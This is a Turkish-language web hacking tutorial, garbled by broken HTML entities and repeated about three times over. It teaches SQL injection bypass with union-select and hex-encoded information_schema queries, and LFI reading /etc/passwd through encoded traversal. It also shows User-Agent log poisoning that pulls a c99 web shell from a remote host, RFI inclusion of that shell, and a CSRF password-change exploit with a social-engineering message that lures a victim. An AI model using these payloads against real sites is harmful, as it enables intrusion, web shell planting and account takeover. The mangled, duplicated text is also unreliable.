Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
